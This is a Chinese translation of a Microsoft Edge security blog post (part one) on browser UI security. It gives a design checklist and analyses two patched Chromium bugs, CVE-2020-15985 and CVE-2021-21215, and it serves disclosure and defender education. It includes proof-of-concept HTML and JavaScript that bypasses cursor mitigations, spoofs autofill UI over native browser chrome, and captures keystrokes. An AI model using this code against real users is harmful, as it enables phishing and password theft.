深入考察与UI相关的安全漏洞(上)
2021-06-15 12:00:00 Author: www.4hou.com(查看原文) 阅读量:107 收藏

fanyeee 漏洞 2021-06-15 11:00:00

收藏

在本文中,我们将与读者一道,深入考察浏览器中与UI相关的安全漏洞。

简介

当涉及应用程序的用户界面(UI)时,人们关心的往往是美观、设计的一致性、简单性和清晰性。然而,像浏览器这样的应用程序,不仅需要加载、解析不受信任的内容,而且还需要提供相应的API来调用各种UI,这时,该类应用程序就会面临一个新的关注点:设计安全的UI。

多年来,浏览器的用户界面已经在网络钓鱼活动和技术支持诈骗等攻击活动中被滥用。通常来说,这些攻击的目标并不是在受害者的机器上执行代码,而是获得受害者的信任并引诱(或恐吓)他们拨打一个号码。这类技术通常被称为社会工程攻击,它们很难被完全缓解,因为任何不受信任的页面都可以随意显示任何图像。即使如此,确保浏览器的用户界面不为此类攻击提供便利也是很重要的。正如我们将看到的,不安全的用户界面设计甚至会导致用户私人信息泄露,例如信用卡、密码和地址。除了这些逻辑上的安全问题之外,我们还将看到,像任何大型的C++项目一样,即使在用户界面代码中也可能存在内存安全漏洞。

在这篇文章中,我们首先为读者介绍如何发现UI中的安全漏洞,然后讨论一些已发现的UI安全漏洞。

UI安全检查表

在评估一个给定的用户界面是否安全时,要问自己以下一组问题。通常需要通过以下多项检查,才能确定一个可滥用的用户界面安全漏洞。

1. 是否覆盖可见视区(又称死亡线)?

a. 浏览器提示(想想警报框、权限提示等)应该总是允许跨过死亡线,以表明它们是合法的,并且来自于浏览器。这是为了确保用户界面无法被网页元素所冒充,因为网页无法(或不应该)使用JS/HTML/CSS越过死亡线。

1.png

1.png

b. 另一方面,网页的用户界面(例如自动填充项、下拉选择器、颜色选择器等)不应该跨越死亡线。相反,我们应该确保它们只出现在可见视区内。这是为了确保网页不能覆盖重要的浏览器UI(omnibox、shyUI和权限提示)或使网页能够冒充浏览器UI。

1.png

向下滚动一下,再次激活自动填充,我们将看到:

1.png

这种设计就不安全;正确的行为应该是这样的: 

1.png

注:另外,页面可以向上滚动,然后显示自动填写的用户界面。

2. 是否包含不受信任的内容?

如果用户界面中显示的文本或图像受到不受信任的外部来源(通常是被访问的网页)的影响,那么用户界面应该清楚地表明这一区别,使得最终用户能够分辨出哪些内容是浏览器所展示的,哪些内容是网页所展示的。

例如,让我们来看看Javascript的提示框。它是一个浏览器的提示组件,呈现的是网页提供的文本;在这里,还确保在最上面指出“example.tld says:”,从而让用户清楚地知道,该字符串之后的文本来自网站,而不是浏览器。此外,这些提示框应该禁止在跨源frame内调用,否则就有可能被用于欺骗用户。

1.png

上图中,所有红色的内容都是不可信任的。下面,我们分别进行介绍:

· 标签页标题:从网页中提取的不可信的文本,需要进行相应的安全检查,如确保标题中没有换行操作从而导致文本显示在其预期的文本框之外。确保没有HTML被呈现在这里。这也是渲染网站的favicon的地方,所以要确保图像被安全地渲染和显示,以便能够在任何图像处理的内存损坏的情况下,也不会影响浏览器的进程。

· 地址栏:任何浏览器的重要部分,所有用户都依靠它来知道他们在什么网站上。由于这个URL是从一个不受信任的来源取得的,因此需要特别小心,以确保它能清楚地显示给最终用户。

· 警报的源:域名是不可信任的,应该进行一些安全检查,以确保域名是无害的。

· 警报文本:这是在浏览器用户界面上显示的文字,它来自不可信任的页面。这里应进行与(1)相同的检查。

· 网页内容:这是网页的内容;这里没有任何东西是可以信任的。

3. 当前焦点是否位于危险的按钮/选项上?

如果用户界面要求用户在不同的选项中做出选择,那么它应该总是将焦点默认放到最不危险的选项上。或者说,根本就不应该给任何东西以默认的焦点。例如,允许网页访问用户的地理位置的权限的提示将显示两个选项:“Allow”和“Block”。如果在提示出现后立即按回车键的话,那么,我们就会发现,将会选中“Block”选项。

1.png

否则,如果默认的焦点是在一个危险的选项上,攻击者就可以利用这一点来诱骗用户选中这一项。攻击者通常的手法是,先让用户按下回车键,然后再显示提示内容。

这里就是一个这种类型的安全漏洞,并且该漏洞影响多种浏览器。

4. 能被多次调用吗?

如果用户界面可以根据网页的需求进行显示,那么应该确保它不能在短时间内重复显示。这是为了防止网络钓鱼页面重复调用UI,使其以一种会迷惑或恐吓用户的方式出现,在最坏的情况下,能够让用户陷入恶意页面中。

5. 能否在没有用户手势(user gesture)的情况下调用?

有时,用户界面需要在没有用户手势的情况下出现(出于人体工程学的考虑);如果没有这种需要的话,最好只在用户明确发出鼠标/键盘/其他手势的情况下才允许其显示。此外,确保用户界面的显示基于用户的手势,也有助于减少任何进一步的滥用(如手势清洗等技巧)。换句话说,每一个显示的用户界面都对应于一个手势。

如果发现这样一个易受攻击的用户界面,那么攻击者可以利用它来困住用户,阻止他们离开网站。如果再加上(4),可能会导致整台机器都无法正常使用。

UI安全漏洞

当涉及到未能通过(1.a)/(1.b)检查表的漏洞时,通常是由于对可见视区的计算错误所致。

在下面的可见视区中,具有一个红色边框:

1.png

向下滚动时,可见视区也是如此。文档中不可见的部分绝对不应该被视为可见视区:

1.png

但是,我们正在处理的是具有访问CSS以及将frame嵌入其他文档的能力的Web内容。下面,让我们看第一个相关的例子。

CVE-2020-15985:绕过光标劫持缓解措施

实际上,鼠标光标也是一个UI,就像其他的UI一样,网页可以自动用一个自定义的图像来替换该光标。实际上,这一功能曾经被攻击者滥用,通过冒充真实的鼠标位置来诱骗用户。 

因此,相关厂商发布了以下的更新:

“[弃用]对于尺寸大于32x32 DIP的自定义光标,由于能够横贯本机UI,所以将其禁用,并将于2019年6月左右,在M75中将其删除。更多细节,请访问https://www.chromestatus.com/features/5825971391299584”。

换句话说,如果一个网页用大于32x32的自定义图片代替光标,那么这个自定义图片就不能以欺骗用户的方式进入浏览器的本地用户界面。一些像素被允许覆盖其他像素,但这些并不足以造成任何欺骗性的攻击。

然而,人们发现,当Chromium计算什么是本地浏览器用户界面与什么是可见的网页内容时,有可能通过让一个iframe托管一个取代光标的页面,然后使用CSS使该frame开始于主frame的可见视区之上来有效地绕过上面的缓解措施。

< iframe src="large-custom-cursor.html"
style="width:700px;height:1000px;position:absolute;top:-100px;left:-100px;" >

这个PoC使浏览器认为可见视区(红色)如下所示: 

1.png

进行必要的修改,以确保浏览器会考虑顶层的frame的可见视区。这个漏洞是之前讨论的检查表中的一个例子(1.b)。

与自动填充UI相关的安全漏洞

读者可能已经注意到并在某些时候用过的一个功能是自动填充功能。假设你在“A”网站注册了一个账户,并提供了一些基本信息,如用户名和密码。之后,当您去登录B站时,从A站输入的同样的用户名会作为自动填写的建议而出现。

1.png

CVE-2021-21215:伪造浏览器用户界面

自动填充建议的用户界面不应该覆盖浏览器的用户界面,这一点在前面的检查表(1.b)中已经讲过。然而,事实证明,攻击者的确能够让它显示在浏览器原生UI之上,并覆盖浏览器的重要部分。但仅仅这一点本身而言,并不是一个巨大的安全问题。

从攻击者的角度来看,要想滥用自动填充用户界面,需要解决下面几个问题:

1.只显示以前提交的表单中保存的条目。

2.当用户与浏览器或网页进行交互时消失。

3.只在用户与表单/输入元素互动时出现。

我们可以通过简单地要求用户点击恶意网页上的任何位置来解决问题(3)。另外,输入元素可以是透明的,并覆盖整个页面。这样,在页面上的任何点击都将激活显示自动填充下拉UI的机制。

qf.style="opacity:1";
qa.style="width:100%;height:1000px;display:block;position:absolute;";

对于问题(1)来说,解决起来出奇的简单:只需要借助于一个带有假表单的iframe,让它使用Javascript来填充自己,然后执行formElement.submit()提交到随机的URL即可。这样,我们就可以自如地控制下拉式自动填充建议UI中显示的内容。

function createAutofillEntry(str) {
    let aframe = document.createElement("iframe");
    aframe.src = "#faker";
    aframe.style = "width:2px;height:3px;opacity:0.1";
    aframe["data-id"] = msgs;
    iframes[msgs] = false;
    msgs += 1;
 
    document.body.appendChild(aframe);
 
    aframe.onload = (e) = > {
        if (e.target.contentWindow.location.search.length < = 10) {
            e.target.contentWindow.eval(`
          qb.value="pass1223"
 
          var thing="${str}";
 
          var i=0;
          var ger=0;
            ger=setInterval(g= >{
            qa.value+=thing[i];
            i++;
            if(thing.length==i){
              window.clearInterval(ger);
              qf.submit()
            }
          },20)
        `);
        } else {
            iframes[e.target["data-id"]] = true;
        }
    };
}

问题(2)是三个问题中最复杂的一个,为了克服这个问题,我们需要完成下面的两个任务: 

1.用一个事件处理函数填充所有顶部窗口事件,使焦点保持在输入元素上并返回false,以确保事件被取消。

2.当自动填充下拉菜单显示时,我们将input[type]=text切换为input[type]=button,由于按钮无法得到自动填充建议,这将使浏览器无所适从,致使建议菜单持续存在。 

setTimeout((g) = > {
    qa.type = "button";
}, 100);
 
for (q in this) {
    if (q.indexOf("on") == 0) {
        this[q] = (e) = > {
            if (e.type == "keydown") {
                qtext.value += e.key;
            }
            qa.focus();
            qa.click();
            return false;
        };
    }
}

将上面的代码综合起来,就得到最终的PoC,其效果如下所示:

1.png

演示视频:https://youtu.be/GJiwBrAAuEQ

原始PoC的可以从这里找到。

在Edge浏览器上,这看起来不那么令人信服,因为它的自动填充UI清楚地表明了它的目的是什么(类似于警报框)。然而,这仍然是值得解决的问题。

1.png 

因此,利用自动填写功能中的一连串微小的UI错误,我们就能够创自己的本地浏览器UI,并显示我们指定的任意信息。这里的PoC还表明,如果用户被骗并输入密码,那么,攻击者还可以提取键盘数据。

但是,等等,还有更多问题!

小结

在本文中,我们将与读者一道,深入考察浏览器中与UI相关的安全漏洞。由于篇幅较长,所以分为上下两篇发表,更多精彩内容,敬请期待!

本文翻译自:https://microsoftedge.github.io/edgevr/posts/ui-security-thinking-outside-the-viewport/如若转载,请注明原文地址


文章来源: https://www.4hou.com/posts/n74R
如有侵权请联系:admin#unsafe.sh